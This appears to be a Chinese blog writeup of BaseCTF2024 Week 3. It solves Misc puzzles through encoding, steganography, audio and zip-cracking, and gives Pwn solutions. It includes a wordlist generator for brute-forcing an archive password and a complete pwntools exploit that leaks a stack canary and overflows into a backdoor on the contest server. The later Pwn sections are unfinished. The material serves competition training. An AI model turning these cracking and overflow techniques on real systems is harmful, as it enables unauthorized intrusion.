BaseCTF2024 Week3 Writeup

Misc

Base revenge

将hint拿去随波逐流,发现hint的为Atbash编码

image-20240830224153687

上面的为Base64隐写,得到密文

JnUaAFMFImgANSEuAWYuBE9SyaYpC2ldBrU9

Atbash解码再Base64解码得到flag

JnUaAFMFImgANSEuAWYuBE9SyaYpC2ldBrU9    --->Atbash
QmFzZUNURntZMHVfZDBfYV9HbzBkX2owYiF9    --->Atbash
BaseCTF{Y0u_d0_a_Go0d_j0b!}

白丝上的flag

图片解密,需要写出解密代码。

在写代码的过程中,求余逆部分有些陌生,这里单独提出来说一下

iv = (b+c+d+iv) % 256

这里我们把第一个iv看作A,b+c+d看作B,第二个iv看作C,式子可化为。

A = (B + C) % 256

已知B和A需要求C。

因为ABC都是正整数,所以B+C = A+ 256*n 其中A需要小于256(满足条件)

C = A - B + 256*n

因为 C,也就是原先的第二个iv是由256取余后得到的,所以肯定是小于256的,同时对两边取余

C = C %256 =(A - B + 256*n)%256
C = (A - B)%256

所以原式可化为

iv = (iv - (b+c+d))%256

同理

h = (a+b+c+d+iv) % 256

已知iv和bcdh求a,可化为

a = (h - (b+c+d+iv)) % 256
from PIL import Image
from random import randint
import sys

def reez_add(e,f,g,h):
    global iv
    iv = (iv - (e+f+g))%256
    b =e
    c =f
    d =g
    a = (h - (b+c+d+iv)) % 256
    return a,b,c,d

def reconfuse(data):
    r,g,b,a = data
    for _ in range(8):
        r,g,b,a = reez_add(r,g,b,a)
    return r,g,b,a

def reconfuse_image(img):
    global iv
    iv = img.getpixel((1,1))[0]
    flag = Image.new('RGBA', (img.width, img.height))
    for w in range(flag.width):
        for h in range(flag.height):
            flag.putpixel((w, h), reconfuse(img.getpixel((w,h))))
    return flag

def confuse(data):
    r,g,b,a = data
    for _ in range(8):
        r,g,b,a = reez_add(r,g,b,a)
    return r,g,b,a

img = Image.open("en_image.png")
compare =Image.open("image.png")

for i in range(256):
    iv=i
    if reconfuse(img.getpixel((img.width-1,img.height-1))) == compare.getpixel((img.width-1,img.height-1)):
        print(f'iv={i} is right')
        iv=i
        break

flag = reconfuse_image(img)

try:
    flag.save(f"iv{i}-flag.png")
    print(f"iv={i} flag.png has finished!")
except Exception as e:
    print(f"wrong: {e}")

将解密的图片放置在stegsolve中查看,得到flag

image-20240829212635186

那张⽩丝照⽚其实是写⼊flag前的图⽚ ,那我们可以把⽩丝照⽚也进⾏上述加密,然后和 en_image 进⾏双图异或,从⽽得到写⼊的 flag。

BaseCTF{there_is_the_flag@}

这是一个压缩包

压缩包注释中有base字符串,解码得到信息

QmFzZUNURj8/Pz8/P0ZUQ2VzYUI=    --base64
BaseCTF??????FTCesaB

进行掩码爆破,得到压缩包密码

BaseCTF_h11h_FTCesaB

直接进行掩码爆破可能需要大量时间,这里观察密码格式发现是对称形,也生成字典进行解密。

lowercase = 'abcdefghijklmnopqrstuvwxyz'
uppercase = lowercase.upper()
digits = '0123456789'
symbols = '!@#$%^&*()-_=+'
ls = lowercase + uppercase + digits + symbols

with open('passwd.txt','w') as f:
    for a in ls:
        for b in ls:
            for c in ls:
                password = 'BaseCTF' + a + b + c + c + b + a + 'FTCesaB'
                f.write(password+'\n')

解压得到flag

BaseCTF{a7da6763-5013-4963-9c23-8fb3d049bdce}

纯鹿人

再word文档中找到base字符串,解码得到密码

cGFzc3dvcmTvvJppa3VuaWt1bg==    --->base64
password:ikunikun

010搜索flag发现一个带有flag.txt的单独压缩包,提取,并使用密码解压,得到flag

BaseCTF{d176adc7-5919-4a0c-9556-0301fc4d9c35}

broken.mp4

题目灵感应该来自W4terCTF2024

使用 untrunc 软件,以录制1.mp4为 reference file,以录制3.mp4为 truncate file,生成第二个视频的修复视频,在视频的最后就可以获得 flag

image-20240829150017818

BaseCTF{x1a_Ci_1_DIn9_y0Ng_MKV}

外星信号

外星录音是摩斯密码,找一个音频解密器进行解码

THERE-IS-NO-FLAG-HERE-THERE-IS-NO-FLAG-HERE-THERE-IS-NO-FLAG-HERE-LET-US-GOBASECTF#2EBE6FDC-60DC-

但是播放时发现中途断掉了,打开010搜索flag,存在一个flag.mp3的文件。这里要用binwalk进行分离,解压后得到另一个音频,查看是SSTV,mp3开头是无意义的摩斯密码,所以我们将后面的部分进行无线电解码

image-20240905150308144

将图片中的摩斯密码解码,得到后半段flag

....- ----. .- ....- -....- .- ----. ----. ..--- -....- ...-- -... -... -.. ..... -.... ..-. ...-- ..-. -.. ----- -... ----.-       --->morse
49A4-A992-3BBD56F3FD0B

综上所述,根据题目描述要求,得到flag

BaseCTF{2ebe6fdc-60dc-49a4-a992-3bbd56f3fd0b}

我要吃火腿!

先将txt中的密文进行兽音译者解码,得到异或的代码

def xor_with_ham(input_file, output_file):
    ham_bytes = [0x48, 0x61, 0x6D]

    with open(input_file, 'rb') as f:
        data = bytearray(f.read())

    for i in range(len(data)):
        data[i] ^= ham_bytes[i % 3]

    with open(output_file, 'wb') as f:
        f.write(data)

xor_with_ham('Hamorl.jpg', 'Ham.jpg')

代码里能够得到xor,在Cyber里进行异或得到jpg

image-20240829155428604

jpg末尾存在wav文件,提取后发现是SSTV,解密得到flag

image-20240829155529499

BaseCTF{SSTV_Happpy!}

Pwn

你为什么不让我溢出

检查保护,开了代码执行保护和Canary

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

存在后门函数,主函数中的循环会循环两次,进行read和put。这里的想法是通过第一次循环获取到Canary的值,第二次溢出到后门函数地址

from pwn import*

context.arch="amd64"
io=remote("challenge.basectf.fun",28509)
# io=process("1")

# gdb.attach(io,"b *0x401247")
# pause()

offset=0x70
bin_sh_add=0x4011BB

io.send(b'a'*(offset-8+1))
io.recvuntil(b'a'*(offset-8+1))
canary = u64(b'\00' + io.recv(7))
print(hex(canary))

payload=b'a'*(offset-8)+p64(canary)+b'a'*8+p64(bin_sh_add)
io.send(payload)

io.interactive()
# BaseCTF{5c548b7e-8e81-46f0-9943-eff0f8bd0663}

format_string_level2

检查保护,只开了代码执行保护

    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

 PIE

检查保护,只有Canary没开

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

检查主函数,发现栈溢出漏洞,未发现后门函数

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇